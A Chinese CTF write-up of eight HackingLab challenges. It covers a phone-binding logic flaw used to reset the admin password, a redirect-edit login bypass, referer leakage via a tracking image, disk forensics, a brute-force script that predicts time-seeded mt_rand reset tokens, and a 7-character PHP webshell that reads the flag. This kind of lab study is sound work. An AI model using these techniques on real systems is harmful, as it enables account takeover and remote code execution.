HackingLab综合关writeup

夺旗攻略 2018-05-02

HackingLab综合关writeup

很考验综合能力的关卡

前言

本人也是第一次写这种CTF的writeup,可能会存在一定的错误和遗漏之处,本攻略主要是提供解体思路,尽量会避免直接显示答案,请各位见谅,但是如果有一些直接显示在响应包中的key,本攻略则会直接显示。以下攻略部分代码和思路引用自其他人的博客或者网站,大部分已注明出处,如有遗漏,烦请告知,谢谢~

更新时间为2017.01.09,所有关卡题目攻略皆已补全

作者:古月蓝旻

综合关

Q1:

渗透测试第一期
分值: 350
注意:该题目模拟真实环境,故具有排他性,请选择合适的时间段完成该题。 你只有一部可用手机,手机号码会在需要手机号码的页面中给出。

修复
现在用户不用排他了,只要保证在一个session里即可。

点进去之后就是一个登陆页面,什么都没有啊,这个思路就多了,爆破,注入,找回密码逻辑绕过等等啊,综合关考验的是综合能力,但是路未免太多了,很耗时间的

看一下页面源码,没有提示,但是网页的标题似乎给出了提示信息

明明是登陆页面,标题却是注册?看来突破口在注册页面,点进去之后,输入你想注册的用户名和密码就行了,注册个admin可好?结果

you can not regist admin

好吧,看来系统里管理员的账户应该八成是admin了

注册一个admin1好了,成功,好的下一步要求绑定手机号??在线平台答题绑定手机号?别忘了题干说了手机号码会在需要手机号码的页面中给出,哪呢?

其实就在页面源码里

<!--
    <h2>某某短信平台可提供一部手机用于接收验证码,下面是为您提供的手机号码;你可以使用这部手机接收验证码(如果你使用的是这部手机验证码将自动在页面弹出)</h2>
    13388234770        -->

后来和建站的大牛交流了一下,这个手机号根据会话自动生成,每个人显示的手机号都是不同的,这样就能防止不同用户在回答此题时相互之间干扰

输入这个手机号就可以获取验证码了,然后成功绑定,系统提示,key在管理员那里,管理员应该就是admin了,线索似乎断了,我们回到最开始的登陆页面,发现还有“忘记密码”的选项,那么我们可不可以,找回admin的密码呢

来到忘记密码的页面,输入username为admin,手机号为咱们自己的手机号,然后获取验证码,可以吗?

当然不行了admin绑定的又不是我们的手机号,所以问题就是,能不能让admin绑定的手机号是我们的手机号呢?再来一遍绑定的流程

来到注册页面,注册用户名为admin2,密码随意

来到绑定页面,输入之前的手机号,获得验证码,祭出神器burp,然后点一下注册

POST /base14_2d7aae2ae829d1d5f45c59e8046bbc54/step2.php HTTP/1.1
Host: lab1.xseclab.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://lab1.xseclab.com/base14_2d7aae2ae829d1d5f45c59e8046bbc54/step2.php
Cookie: PHPSESSID=34a7b1ff6891e8093237a38045155990
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 43

username=admin2&tel=13388234770&vcode=18045

好的,我们修改用户名为admin,手机居然成功绑定了,现在admin绑定的手机号就是我们的手机啦,来来来,回到找回密码页面

username为admin,手机号为我们自己的手机号,获取验证码成功,提交,重置密码成功~

重置密码成功!新的密码是:6d90273fcee957f540446573bd230f4f97fc90bd

直接用这个密码登陆admin就行啦

P.S.:40位密码,很可能是sha1加密的,所以之前爆破的话,很可能也是40位密码,应该是爆破不出来的

Q2:

没有注入到底能不能绕过登录
分值: 350
不是SQL注入 

没有注入啊,那就别往注入的方向上考虑了,那么拿admin登陆一下看看
密码随意,当然提示error,点一下确定,又回到了原页面,似乎只能爆破了?

注意一下,此时登陆页面的url和之前登陆页面的url相比,多了一个index.php,这个有什么奇怪的嘛?使用burp抓一下响应包,发现了其中的玄机

HTTP/1.1 200 OK
Server: sae
Connection: keep-alive
Date: Fri, 06 Jan 2017 02:41:46 GMT
Cache-Control: no-store
Content-Type: text/html
Pragma: no-cache
Via: 2127
X-Daa-Tunnel: hop_count=1
Content-Length: 446

<script>alert('error!');window.location='./index.php'</script>
<html>
    <head>
        <title>Login Brute Force(So easy!)</title>
    </head>
    <body>
        <form action="" method="POST">
            username:<input type="text" name="username"><br>
            password:<input type="password" name="password"><br>
            <input type="submit" value="Login">&nbsp;&nbsp;<input type="reset" value="Reset">
        </form>
    </body>
</html>

中间有一行

<script>alert('error!');window.location='./index.php'</script>

error就是弹窗页面,同时使用了location重定向到了index.php,所以它是这么多出来的,然后呢?线索断了?

嗯使用爬虫简单爬一下,发现这个页面还是存在这robots.txt,里面有

Disallow: /myadminroot/

新大陆啊,访问一下,提示Please login first!

让我们先登陆?怎么绕呢?其实我们之前输入用户名密码就是一个登陆的行为,那么我们能否将登陆失败重定向页面从index.php改成myadminroot来绕过?

所以这题的思路就是在输入了用户名和密码之后,抓响应包,然后改一下重定向地址,顺便去一下弹窗
原:
<script>alert('error!');window.location='./index.php'</script>
改:
<script>window.location='./myadminroot'</script>

然后我们的用户名和密码会被发送到/myadminroot,由于/myadminroot认为登陆页面跳转过来的请求是值得信任的,所以就绕过啦

Q3:

美图闪亮亮交友平台
分值: 400
小明今年19了,看到比自己还小两岁的妹妹都已经有了小男朋友,因此他也想找个女朋友了,于是就来到了美图闪亮亮交友平台,但是他怎么也没想到,上面的妹纸都不理他,于是他只好想办法;最后,他登录到了管理员姑娘的网页版邮箱,发现管理员姑娘其实已经暗恋他已久,于是乎,他们开始了一段惊人的地下恋情。

ps:出题的人一定是想妹纸想疯了
Tips: 邮箱没有xss漏洞
Tips: 管理员用的是手机wap邮箱,而且管理员的手机不支持Cookie(20150823)

被这道题目困扰很久,相信很多小伙伴也是。题目给出了两个提示反而感觉更加没有思路了,尝试提交了一些乱七八糟的信息之后,说管理员火速通过了审核...

这种题目的第一反应就是试试存储型xss,找个xss平台的代码拿下管理员cookie,结果。。。唉

不会做就先看看评论好了,
嗯,有小伙伴提出自己买了公网的站,传了脚本然后执行不了,a sad story,然后买了渣浪10元的sae然后艰难搞定,所以这道题目是要花钱去渣浪买sae???这不太好吧,继续看看
果然,建站大牛给出了一条非常重要的线索

本来打算做得漂亮一点再发布,这个可以用HackingLab的邮件信息刺探平台获取用户信息.http://hackinglab.cn/LoginToSubSystem.php?appid=800001

邮件信息刺探平台?访问上面链接然后跳转到了

http://superimg.219.me/maildetect/manage/main.php

一定要在登陆状态访问,不能登陆的小伙伴去子系统--题目平台登陆登陆一遍就行,哇,首页写道

该平台可帮助您查看对方的ip地址和操作系统等有关信息。

            本系统不是XSS平台,但拥有比XSS平台更为特殊的功能!

使用方法:
1.将本平台生成的图片标签嵌入到要探测的网页或邮件正文中
2.访客访问该图片或者图片在页面中被自动加载均可刺探到访客信息
3.到本平台查看获取到的信息即可

这是什么鬼?看这个描述,仔细想想,应该是抓取访问这个图片的请求包啊,请求包有什么重要信息?我们访问某些网站(吾爱的机油你们好)经常看到有些人的签名档就是显示你的IP,归属地,操作系统版本等等,其实就是抓了访问图片的请求,所以这个平台也可以这样?

这道题目可以提交一个图片url,那么我们提交这个平台生成的特殊图片可好?我看了一下这个题目几乎没人写攻略啊,我详细说一下吧

首先来到图片平台,点生成链接,个性化url地址随机生成就行,图片自己上传一个jpg就行,个性化文字随意(之前我还往里面写xss语句,后来证明毫无卵用)

生成成功,点击链接查看,ok

点击一下请求地址吧,可以看到我们上传的图片,url也变成了图片的地址

点击信息查看,我们刚刚访问这条图片的信息都暴露啦最重要的就是拿referer

ok,回到题目,复制这个url到题目的图片url中吧,其他信息随意,果然管理员火速审核通过,然后让我们看看管理员的信息吧

哇,nice,拿到了referer,访问一下吧,果然有key,完成~

注意,这个referer的url根据用户会话生成,直接敲我图片里的url肯定是拿不到key的,自己动手吧

P.s.:由于渣浪sae经常抽风,你按照我的步骤也有可能抓的都是自己的ip,我前两天就是这样,告诉了建站的大牛,他分分钟修复了,然后就可以做了,但是也不能保证一直都是好的,所以有时候失败了也别灰心。

Q4:

最简单的数字取证1
分值: 150
小明是某安全公司的职员,今天是他第一次参与客户应急工作,来到客户现场,客户给了他一个文件,然后客户就忙着开会去了……来吧,我们一起帮助小明看一下,这个文件里到底有什么内容.

Tips: 在这个文件中发现key文件找到key并提交即可通关 

安全取证类的题目还是比较有意思的,MISC类的题目思路相比于其它题目思路更多,就看脑洞大小了
嗯,下载了一个vmdk文件,讲道理是要使用vmware这种软件新建硬盘分区然后导入打开的,应该就在里面的flag文件夹里,具体教程可以自己查询

这道题我取了个巧,强行拿notepad++以文本方式打开,然后搜索关键字key,找到了key,方法正确,但是其实不好,而且使用文本编辑器打开这种大型文件内存什么的消耗厉害,配置差的电脑甚至可能死机

Q5:

最简单的数字取证2
分值: 200
小明是某安全公司的职员,今天是他第二次参与客户应急工作,来到客户现场,客户给了他一个文件,然后告诉他,有资料被黑客删除了,请帮忙恢复一下,然后客户就又忙着开会去了…….来吧,为了创造美好的专业形象,小明这回要当一次数据恢复专家了.
下载地址
Tips: 在这个文件中发现key文件找到该key并提交即可通关 

还是下载了一个vmdk文件,那么能否用上一题取巧的方式搞定?不行了呀,使用notepad++搜索关键字搜索到了两个key,但是没有一个是对的

那么这次不投机了,乖乖导入虚拟机看行不行?也不行,题目说了,资料被删除了呀,这就尴尬了

既然要恢复文件,那么恢复文件软件里,我最喜欢的就是DiskGenius,然后选项--硬盘--打开虚拟硬盘文件,选择我们下载的vmdk文件,然后点开左侧资源管理栏,就能发现flag.txt啦

Q6:

小明学习代码审计
分值: 350
小明为了追他心爱的女孩,可谓是绞尽脑汁,天天熬夜好好学习!现在他已经开始学习代码审计,一天,他来到一个电商网站,发现了可爱的程序员竟然写了这样的代码,于是乎,他便重置了管理员密码,买了许多好吃的.

Tips: 该题目模拟真实环境,请不要放过细节.提示不如不提示,Take it easy!

这道题目思考了很久,php不熟练所以回答代码审计题总是心虚,查看页面源码发现有一个resetpwd.php的页面,题目的要求也是重置管理员密码,来到这个页面,一串话加一个表单,简单说起来就是

我们已经把重置密码的口令发到你的邮箱啦,输入口令来重置密码吧,年轻人

那么你的邮箱是什么呢??我看看能社工不

当然题目并没有说邮箱,源码里给出了验证口令的php

<?php 
session_start();
include '_flag.php';
date_default_timezone_set('Asia/Shanghai');
if(isset($_POST['token']) && isset($_SESSION['token']) &&!empty($_POST['token'])&&!empty($_SESSION['token'])){
    if($_POST['token']==$_SESSION['token']){
        echo "PassResetSuccess! Your Flag is:".$flag;
    }else{
        echo "Token_error!";
    }
}else{
    mt_srand(time());
    $rand= mt_rand();
    $_SESSION['token']=sha1(md5($rand));
    echo "Token Generate Ok! now send email to your EmailBox!.....";
    if(sendmymail($_SESSION['token'])){
        echo "SendOK! \r\n<br> Your password reset Token has been send to your mailbox! <br>Please Check your mail box and fill your token here to reset your password!<br>";
    };
}
echo '<form action="" method="POST">
    <input type="text" name="token">
    <input type="submit" value="submit">
</form>';
echo "<!--\r\n".file_get_contents(__FILE__);
?>

很头疼啊,梳理一下

新建了一个会话,引入_flag.php(能直接访问拿flag吗?不行)
设置了一下时区,如果用户提交的口令和服务器口令都设置好了,则比较一下,相同拿flag,否则godie
每次重新访问页面都要使用mt_srand(time())随机数种子设置为时间,mt_rand()函数根据mt_srand(time())生成新的随机值,然后将这个新随机值使用md5和sha1加密,作为服务器口令

看起来没问题,其实问题很大

关键就在于服务器口令的生成规则
    date_default_timezone_set('Asia/Shanghai');
    mt_srand(time());
    $rand= mt_rand();
    $_SESSION['token']=sha1(md5($rand));

时区为亚洲上海

mt_srand(time())用 seed 来给随机数发生器播种,种子是时间

mt_rand()生成的就是和时间相关的随机数,真随机还是伪随机?

那么

我能不能自己安装php环境,写一个php脚本:
1.时区也设置为上海
2.mt_srand()也用时间给随机数发生器播种
3.mt_rand()生成的随机数会和网站服务器生成的随机数一样吗?

其实就是一样,我们自己写php脚本就ok啦

这里引用一下别人写好的源码,自己配php环境+安装request.php+修改源码中的cookie即可

https://www.40huo.cn/blog/hackinglab-comp.html

    <?php
include('D:\Program Files\phpstudy\Requests-1.6.0\library\Requests.php');
Requests::register_autoloader();

$time1 = time();

for($i = -10; $i < 10; $i ++)
{
    echo $i . 'Time: ' . time();
    mt_srand($time1 + $i);
    $rand = mt_rand();
    echo $rand . "\r\n";
    $token = sha1(md5($rand));
    $data = array('token' => $token);
    $headers = array('Cookie' => 'PHPSESSID=你的cookie');

    $response = Requests::post('http://lab1.xseclab.com/pentest6_210deacdf09c9fe184d16c8f7288164f/resetpwd.php', $headers, $data);
    // echo $response->body . "\r\n\r\n";
    if(strpos($response->body, "Token_error"))
    {
        echo $response->body;
        break;
    }
}

多试几次就行,如果长时间不行,就是你的时间和服务器的时间不一样,校准一下本机时间即可

Q7:

HackingLab首台rootkit题目虚拟机[公测]
分值: 450
要求: 找到系统rootkit后门(不是木马)并提取后门密码
密码验证方式:验证可以远程获取root权限,则说明密码正确.
正确的密码即为过关密码
虚拟机信息:[root密码hackinglab.cn]
下载地址: http://pan.baidu.com/s/1bnoKlOj 密码: bpe5
若无法下载请联系@CplusHua
该题目可能难度较大,涉及到应急响应分析,病毒木马查杀,简单逆向分析等

做rootkit后门还是需要谨慎一点,一开始也没有思路,后来还是看了评论,说了要留意httpd,看一下好了

!

查看一下,关键就是居然有两个用户是root的httpd进程,问题就在这里了,执行一下httpd -V看一下具体的apache配置,查到根目录为/etc/httpd,配置文件为conf/httpd.conf

为什么有两个root起的httpd进程就有问题?这个问题我之前写过一篇Apache基础知识介绍文章,文章最后提到了,如果以root身份启动apache,进程的权限到底是怎么样的,有兴趣的小伙伴可以看一下安全人员学习笔记——Web中间件之Apache篇

其实就想表达一点:以root身份启动apache,正常情况下,应该只有一个以root身份运行的httpd进程,剩下的用户应该均为apache

root启动的httpd对应的pid分别为1521和1523,正常情况下apache开的端口是80,看一下网络情况吧

80端口的pid为1521,也就是说pid为1523的httpd进程可能有问题,这个进程是怎么起的?看一下配置文件httpd.conf好了

一般而言,对于apache、mysql、php这些应用,rootkit会将自己的so文件插入到正常应用的模块中,用于自启动,守护进程启动等等,比较厉害的rootkit可以实现端口、文件、进程的隐藏,显然题目中的这个rootkit就没做到进程的隐藏,那么排查的思路比较简单啦,有两种:

1. 自行在另一台主机上安装同版本apache,diff一下配置文件httpd.conf,为了取一下该文件,最好安装一下xshell和lrzsz;
2. 对比一下启动的两个httpd,加载模块的查别,需要自行安装一下lsof,使用lsof -f -p 1521>1.txt和lsof -f -p 1523>2.txt,最后diff;

两种方式都尝试了一下,终于找到了有问题的地方,问题锁定在mod_rootme22.so(其实看到这里就知道出题者故意降低了难度,名字起得更迷惑性一点排查可能会更加麻烦)

cat一下这个文件系统居然乱码,reset一下就好

使用strings命令在对象文件或二进制文件中查找可打印的字符串,读取就ok啦,本来也不是很确定key是不是这个,但是so中出现一个这个字符串还是比较可疑的,测试了一下果然如此~

Q8:

代码审计与综合利用
分值: 350
要求: 下载虚拟机,在只利用http服务的情况下读取flag
flag在/下,名字为"the_flag_is_here"
flag密码即为过关密码
下载地址: 链接: http://pan.baidu.com/s/1dEplYcp 密码: k1u8
若无法下载请联系@CplusHua
虚拟机信息:[root密码hackinglab.cn]请尽量不要直接登录,虽然在本地运行,也当是在远程好啦,模拟只对用户开80端口的情况下.
FROM: CTF

源自CTF的一道题,题干也说了直接登陆在根目录下就能找到flag,但是这显然不是出题者想表达的意思

这道题目是希望我们启动虚拟机之后,使用本机,只利用http服务读取flag,那首先要让我们的主机能访问到虚拟机吧,但是进入虚拟机发现,只有一个lo网卡,解决方法如下

1.vmware修改虚拟机联网方式为桥接模式  //可选步骤
2.vmware联网方式,底下高级,记下Mac地址
3.vi /etc/sysconfig/network-scripts/ifcfg-eth0
4.修改Device从eth0改成eth1
5.修改Hwaddr为2中记下的内容,保存并退出
6.执行service network restart,重启网络服务


ifconfig会发现多了eth1,且有了实际的ip,回到主机拿浏览器可以访问

但是页面是空白的,查看一下源码,提示

<!-- <a href="./?src=">src</a>-->

访问

ip/?src=

还是空白,随便加点东西就好

ip/?src=aaa

出源码啦

<?php
session_start();
$savepath="files/".sha1(session_id())."/";
if(!is_dir($savepath)){
    $oldmask=umask(0);
    mkdir($savepath,0777);
    umask($oldmask);
    touch($savepath."/index.html");
}
if(($_POST['filename'])&&($_POST['content'])){
    $fp=fopen("$savepath".$_POST['filename'],'w');
    fwrite($fp,substr($_POST['content'],0,7));
    fclose($fp);
    $msg='File saved to <a>'.$savepath.htmlspecialchars($_POST['filename'])."</a>";
    echo $msg;
}
?>
<?php if(@$_GET['src']) show_source(__FILE__);?>
<!-- <a href="./?src=">src</a>-->

逻辑就是


只要src参数后面有任意内容就显示源码
保存路径在files/sha1(sessionid)/下
保存路径的掩码为0,创建保存路径,权限777
创建保存路径/index.html
POST上传文件有两个参数:filename和content
上传文件内容content不超过7位
上传文件保存在之前创建的保存路径下
创建成功会出提示msg,告知上传文件保存的具体路径 

既然是POST上传,使用hackbar最好了,随便传一下吧

成功了,访问一下吧

所以问题的关键就是如何在上传文件内容不超过7个字符的情况下,从浏览器拿到flag

关于这道题目,测试很久都没有结果,最后参考了40huo同学和另外一个大哥32C3 CTF的攻略:

hackinglab综合关攻略

32C3 CTF 两个Web题目的Writeup - 一个狗

上传了内容是以下7个字符的特殊php

<?=`*`;

根据上面攻略走可以拿key

其实这道题目的关键就是源于访问内容为<?=`*`的php文件,会把当前目录下的所有文件按照顺序执行一遍;

最后文件夹中的内容,按顺序如下
bash  bb  index.html z.php
如果bb是ls \  ,访问z.php就执行了
bash  ls \ 

本来到这里就结束了,后来有小伙伴告诉我看了半天攻略这题还是做不出来,我这里在补充一下好了:

  1. 首先这里上传的最短webshell全角半角要分清,别因为格式出了问题;
  2. 既然是php的webshell,那么文件名就是以.php结尾的,至于为什么两个攻略都将这个文件命名为z.php,是为了让这个文件根据首字母自动排在最后,作为参数执行了;
  3. 然后上传一个bash文件的意思就是上传一个文件名是bash的文件,内容随意;
  4. 上传一个bb文件,内容为ls / ,这个目的有两个:一是根据排序规则,bb会排在bash后,z.php前,处于中间位置,只要满足这个条件就行了,叫cc、dd、...、hh都可以(中间有个index.html,因此首字母最好在i前面);二是根据提示,flag在/下,因此要看下/下面有哪些文件,想执行的话需要访问第二步上传的z.php文件;
  5. 修改bb文件内容为 cat /t* ,这个是由于第4步我们看见了根目录下的flag文件以t开头,且只有一个,在不超过7个字符的情况下读取,这条命令比较合适。

本文由 古月蓝旻 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

还不快抢沙发

添加新评论